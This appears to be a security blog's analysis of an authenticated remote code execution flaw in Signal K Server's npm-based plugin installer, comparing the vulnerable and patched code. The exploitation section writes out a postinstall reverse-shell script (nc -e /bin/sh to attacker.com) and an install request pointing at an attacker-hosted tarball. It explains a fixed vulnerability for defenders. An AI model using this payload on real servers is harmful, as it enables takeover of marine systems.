Authenticated administrators can achieve Remote Code Execution (RCE) on Signal K Server versions prior to 2.19.0. The vulnerability exists because the server passes unsanitized user input directly to `npm install`, allowing an attacker to specify a remote URL instead of a semantic version. This triggers the download of a malicious package and the immediate execution of its `postinstall` scripts.
Signal K Server, the open-source hub for marine data, contained a Remote Code Execution (RCE) vulnerability in its plugin management system. By failing to validate version strings passed to the npm installer, the server allowed authenticated administrators to trick the system into downloading and executing malicious packages from arbitrary URLs.
Most people buy a boat to escape the relentless march of technology. You want wind, waves, and maybe a cold drink—not a Node.js server stack trace. But this is 2025, and even your catamaran needs an API. Enter Signal K Server, the open-source nervous system for modern marine electronics. It aggregates data from NMEA networks, GPS, and sensors into a nice JSON format that developers love.
Like any modern platform worth its salt, Signal K has an "App Store." This allows boat owners to install plugins for weather routing, anchor alarms, or monitoring their battery banks. Under the hood, this isn't some proprietary binary installer; it's just a wrapper around npm, the Node Package Manager.
And here lies the problem. When you wrap a powerful tool like npm in a web interface, you have to be paranoid about what you feed it. If you aren't, you aren't just installing a plugin; you're handing the keys to the engine room to anyone who asks nicely. In CVE-2025-68619, Signal K trusted the input a little too much, turning a mundane plugin update into a full-blown system compromise.
The vulnerability lives in the logic responsible for installing specific versions of a plugin. When an admin selects a plugin version in the web UI, the server sends a request that eventually results in a shell command looking something like this:
npm install <package_name>@<version>The developers likely assumed the version parameter would always be a harmless semantic version string, like 1.2.3 or 2.0.0-beta. But npm is a flexible beast. It doesn't just understand numbers; it understands the internet.
In the npm ecosystem, a "version" can actually be a URL to a tarball, a GitHub repository shorthand, or a raw Git URL. If you pass https://attacker.com/evil.tgz as the version, npm will happily fetch it, unpack it, and install it. This is a feature, not a bug—unless you're a web server blindly passing user input into that argument slot. By failing to sanitize the version parameter, Signal K allowed users to point the installer at any location on the internet, not just the official npm registry.
Let's look at the TypeScript code responsible for this mechanism. In src/modules.ts, the function runNpm takes a package name and a version string and spawns a child process. Before the patch, the code looked roughly like this (simplified for dramatic effect):
// Vulnerable Code (Conceptual)
export function runNpm(app, cmd, name, version, onErr, onClose) {
let npmArgs = [cmd, '--save', name];
// If a version is provided, append it directly
if (version) {
npmArgs[2] = `${name}@${version}`;
}
// Spawn the process
const npm = child_process.spawn('npm', npmArgs, ...);
}See the issue? The code blindly concatenates ${name}@${version}. If I send a version of https://evil.com/shell.tar.gz, the server executes npm install plugin-name@https://evil.com/shell.tar.gz.
The fix, implemented in commit f06140bed702de93a5dbb6b33dc2486960764d1d, introduces a sanity check using the semver library. It acts as a bouncer, rejecting anything that doesn't look like a proper version number.
// Patched Code
if (version && version !== '' && !semver.valid(version)) {
onErr(new Error('Invalid version: ' + version))
onClose(-1)
return
}Now, if you try to pass a URL or a git repo, semver.valid() returns null, and the function bails out before npm is ever touched.
You might be thinking, "So what if I can install a package from my own server? I still need to execute code, right?"
This is where npm's lifecycle scripts come into play. A package.json file can define scripts that run automatically during the installation process. The most notorious of these is postinstall. An attacker doesn't need to wait for the user to run the plugin; the act of installing it is enough to trigger execution.
Here is how an attacker weaponizes this:
package.json, add a postinstall script that opens a reverse shell.
{
"name": "innocent-looking-plugin",
"version": "1.0.0",
"scripts": {
"postinstall": "nc -e /bin/sh attacker.com 1337"
}
}evil.tgz) and host it on a public web server.POST /admin/plugins/install
Content-Type: application/json
{
"name": "any-plugin-name",
"version": "http://attacker.com/evil.tgz"
}Signal K receives the request, runs npm install, downloads the tarball, and immediately executes nc -e /bin/sh. The attacker now has a shell on the boat's server. From there, they can pivot to the NMEA 2000 network, mess with navigation data, or just turn off the fridge.
The remediation is straightforward: validate your inputs. The maintainers added strict semantic version validation, which effectively kills the "URL as a version" attack vector. If it doesn't look like x.y.z, it doesn't run.
However, security is rarely black and white. While this patch fixes the direct RCE via URL injection, there are residual risks to consider.
First, Dependency Confusion: Validating semver strings prevents direct URL loading, but it doesn't verify who published that version. If an attacker claims a plugin is version 99.9.9 and publishes it to the public npm registry, they might still trick a server into "updating" to a malicious package, provided the name matches.
Second, Windows Command Injection: The fix focuses on the version string. If the name parameter isn't equally sanitized, and the server is running on Windows (where child_process.spawn often falls back to cmd.exe quirks), it might still be possible to inject shell metacharacters like & or | into the package name itself. While less likely to be exploitable due to npm's own validation of package names, it's a reminder that relying on the shell to execute package managers is always fraught with peril.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Signal K Server Signal K | < 2.19.0 | 2.19.0 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network (Authenticated API) |
| Impact | Remote Code Execution (RCE) |
| CVSS v4.0 | 7.3 (High) |
| CWE ID | CWE-94 (Improper Control of Generation of Code) |
| Component | Plugin Management / npm wrapper |
| Prerequisites | Admin Credentials |
The product allows user input to control or influence the generation of code that is then executed by the system.
Get the latest CVE analysis reports delivered to your inbox.